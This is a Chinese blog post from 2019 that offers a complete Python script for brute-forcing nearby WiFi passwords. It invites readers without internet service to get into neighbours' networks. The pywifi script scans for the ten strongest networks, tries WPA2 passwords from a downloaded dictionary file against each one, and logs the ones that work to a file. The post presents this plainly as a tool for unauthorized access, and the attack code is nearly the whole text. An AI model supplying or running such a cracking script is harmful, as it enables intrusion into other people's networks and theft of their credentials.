­

破解wifi密码

  • 2019 年 10 月 4 日
  • 筆記

破解wifi密码

你有没有因为网费的问题,没装网络,紧靠手机过日子,有没有附近有很多WIFI,你却用不了,是不是很痛苦,是不是很难受

接下来我就教你三部曲

1. [pywifi模块简介](https://blog.csdn.net/zjy18886018024/article/details/84846843)  2. [pywifi模块简介2](https://blog.csdn.net/qq_41185868/article/details/80396915?utm_source=blogxgwz7)  3. [字典表下载博客](https://www.cnblogs.com/lifengfneg/p/5992649.html)
#!/usr/bin/env python  # -*- coding: utf-8 -*-  """  使用暴力破解法破解wifi密码  需要从网上下载wifi密码字典  可行性并不高  """    import time  # 破解wifi库  import pywifi  from pywifi import const      class PoJie(object):        def __init__(self, path):          # wifi密码字典文件          self.file = open(path, 'r', errors='ignore')          # 抓取网卡接口          wifi = pywifi.PyWiFi()          # 抓取第一个网卡          self.iface = wifi.interfaces()[0]          # 测试连接时断开所有的链接          self.iface.disconnect()          time.sleep(1)          self.alist = self.initialssidnamelist()          # 测试是否处于断开状态          assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]        def bies(self):          # 扫描          self.iface.scan()          # 获取扫描结果          bessis = self.iface.scan_results()          alist = []          for data in bessis:              alist.append((data.ssid, data.signal))          # 按信号强度排序          return len(alist), sorted(alist, key=lambda st: st[1], reverse=True)        def getsignal(self):          while True:              # 获取所有的wifi              n, data = self.bies()              time.sleep(1)              if n is not 0:                  # 如果数量不为0,返回前10个信号最好的                  return data[0:10]        def initialssidnamelist(self):          ssidlist = self.getsignal()          namelist = []          # 获取前10个wifi的名称          for item in ssidlist:              namelist.append(item[0])          return namelist        def readPassword(self, ssidname, myStr):          # 测试wifi名和密码是否匹配          bool1 = self.test_connect(myStr, ssidname)          if len(myStr) < 8:              return False          if bool1:              # 保存密码和wifi名到文件中              save_password_to_file(myStr, ssidname)              print('------------------------------------------------密码正确: ' + myStr + '-----' + ssidname)              return True          else:              print('密码错误: ' + myStr + ' ' + ssidname)              return False        def test_connect(self, findStr, ssidname):          """          测试连接          :param findStr: 密码          :param ssidname: wifi名          """          # 创建wifi链接文件          profile = pywifi.Profile()          #  wifi名称          profile.ssid = ssidname          # 开放网卡          profile.auth = const.AUTH_ALG_OPEN          # wifi加密算法          profile.akm.append(const.AKM_TYPE_WPA2PSK)          # 加密单元          profile.cipher = const.CIPHER_TYPE_CCMP          # 密码          profile.key = findStr          # 删除所有的wifi文件          self.iface.remove_all_network_profiles()          # 设置新的链接文件          tmp_profile = self.iface.add_network_profile(profile)          # 连接          self.iface.connect(tmp_profile)          time.sleep(2)          # 判断是否已经连接上          if self.iface.status() == const.IFACE_CONNECTED:              isOk = True          else:              isOk = False          self.iface.disconnect()          time.sleep(1)          # 检查断开状态          assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]            return isOk        def run(self):          while True:              myStr = self.file.readline()              for ssidname in self.alist:                  ret = self.readPassword(ssidname, myStr)                  if ret:                      raise FileExistsError        def __del__(self):          self.file.close()      def save_password_to_file(myStr, ssidname):      with open('password.txt', 'a') as fp:          fp.write(str(myStr) + '-->' + str(ssidname))      if __name__ == '__main__':      # 密码字典文件所在路径      path = 'E:WIFImmzidianbaoWIFI955M.txt'      start = PoJie(path)      start.run()

人生苦短,我用python